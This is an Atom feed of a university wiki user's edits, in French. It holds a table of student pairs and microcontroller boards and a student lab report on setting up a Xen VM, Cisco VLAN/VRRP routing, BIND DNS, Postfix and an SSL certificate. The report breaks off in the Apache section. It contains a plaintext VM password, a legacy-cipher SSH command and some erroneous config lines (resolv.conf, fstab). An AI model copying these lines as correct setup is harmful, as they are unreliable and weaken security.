<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jsoulaim</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jsoulaim"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Jsoulaim"/>
		<updated>2026-04-17T09:31:35Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PeiP_enseignement_sp%C3%A9cialit%C3%A9_SE_2021/2022&amp;diff=56478</id>
		<title>PeiP enseignement spécialité SE 2021/2022</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PeiP_enseignement_sp%C3%A9cialit%C3%A9_SE_2021/2022&amp;diff=56478"/>
				<updated>2021-11-26T17:51:21Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
Attention nous disposons d'un nombre limité de micro-contrôleurs de chaque type :&lt;br /&gt;
* 12 ATTiny85 (paquetage SO) ;&lt;br /&gt;
* 20 ATMega16u2 (paquetage TQFP).&lt;br /&gt;
Pour les horloges des ATMega16u2 nous avons :&lt;br /&gt;
* 15 quartz FA238 ;&lt;br /&gt;
* 10 quartz d'empreinte HC-49/S.&lt;br /&gt;
Vous devez donc vous répartir les types de cartes de façon à ce que tout le monde puisse avoir du matériel.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves !! Type carte&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Exemple | Cahier n°0]]&lt;br /&gt;
| Ne pas utiliser, exemple&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B1 | Groupe 1 / Cahier n°1]]&lt;br /&gt;
| Noel Alexis, Morchipont Charlène&lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B2 | Groupe 1 / Cahier n°2]]&lt;br /&gt;
| CLOTTES Simon, CHEVALIER Juliette&lt;br /&gt;
| ATTiny85&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B3 | Groupe 1 / Cahier n°3]]&lt;br /&gt;
| CHAUVELIERE Martin, FONTAINE Matthieu&lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B4 | Groupe 1 / Cahier n°4]]&lt;br /&gt;
| DUHR Romain, TAMRABET Tariq&lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B5 | Groupe 1 / Cahier n°5]]&lt;br /&gt;
| SIMON Antoine, QUIQUE Paul&lt;br /&gt;
| ATTiny85 &lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B6 | Groupe 1 / Cahier n°6]]&lt;br /&gt;
| ROUSSEL Thomas, CHACHIGNOT Titouan&lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B7 | Groupe 1 / Cahier n°7]]&lt;br /&gt;
| CZERYBA--DUEZ Louis, DAHMANI Jibril&lt;br /&gt;
| ATTiny85&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B8 | Groupe 1 / Cahier n°8]]&lt;br /&gt;
| DRICI Othman, Cruchet Simon&lt;br /&gt;
| ATTiny85&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B9 | Groupe 1 / Cahier n°9]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B10 | Groupe 1 / Cahier n°10]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B11 | Groupe 1 / Cahier n°11]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B12 | Groupe 1 / Cahier n°12]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B1 | Groupe 2 / Cahier n°1]]&lt;br /&gt;
| DERYCKERE Louis, LAIGLE Margaux&lt;br /&gt;
| ATTiny85&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B2 | Groupe 2 / Cahier n°2]]&lt;br /&gt;
| DELAUNOY Tanguy, FERRAND Louis&lt;br /&gt;
| ATTiny85&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B3 | Groupe 2 / Cahier n°3]]&lt;br /&gt;
| MARTIN Amandine, MENUGE Clément&lt;br /&gt;
| ATTiny85&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B4 | Groupe 2 / Cahier n°4]]&lt;br /&gt;
| CROCHEMORE Arthur, BARON Romain&lt;br /&gt;
| ATTiny85&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B5 | Groupe 2 / Cahier n°5]]&lt;br /&gt;
| ELHAOUITTI Aya, DUTILLY Anthony&lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B6 | Groupe 2 / Cahier n°6]]&lt;br /&gt;
| Joly Maxime, Guendouz Yastene&lt;br /&gt;
| ATTiny85 &lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B7 | Groupe 2 / Cahier n°7]]&lt;br /&gt;
| Akan Hanaa, Benaissa Djibril &lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B8 | Groupe 2 / Cahier n°8]]&lt;br /&gt;
| DAMASE Tom, GEST Matthieu&lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B9 | Groupe 2 / Cahier n°9]]&lt;br /&gt;
| Benard Simon, Pottier Eliot&lt;br /&gt;
| ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B10 | Groupe 2 / Cahier n°10]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B11 | Groupe 2 / Cahier n°11]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B12 | Groupe 2 / Cahier n°12]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B1 | Groupe 3 / Cahier n°1]]&lt;br /&gt;
| Verstrepen Mathis, Wielgosz Vincent&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B2 | Groupe 3 / Cahier n°2]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B3 | Groupe 3 / Cahier n°3]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B4 | Groupe 3 / Cahier n°4]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B5 | Groupe 3 / Cahier n°5]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B6 | Groupe 3 / Cahier n°6]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B7 | Groupe 3 / Cahier n°7]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B8 | Groupe 3 / Cahier n°8]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B9 | Groupe 3 / Cahier n°9]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B10 | Groupe 3 / Cahier n°10]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B11 | Groupe 3 / Cahier n°11]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B12 | Groupe 3 / Cahier n°12]]&lt;br /&gt;
| Nom Prénom, Nom Prénom&lt;br /&gt;
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54962</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54962"/>
				<updated>2020-12-18T12:14:59Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
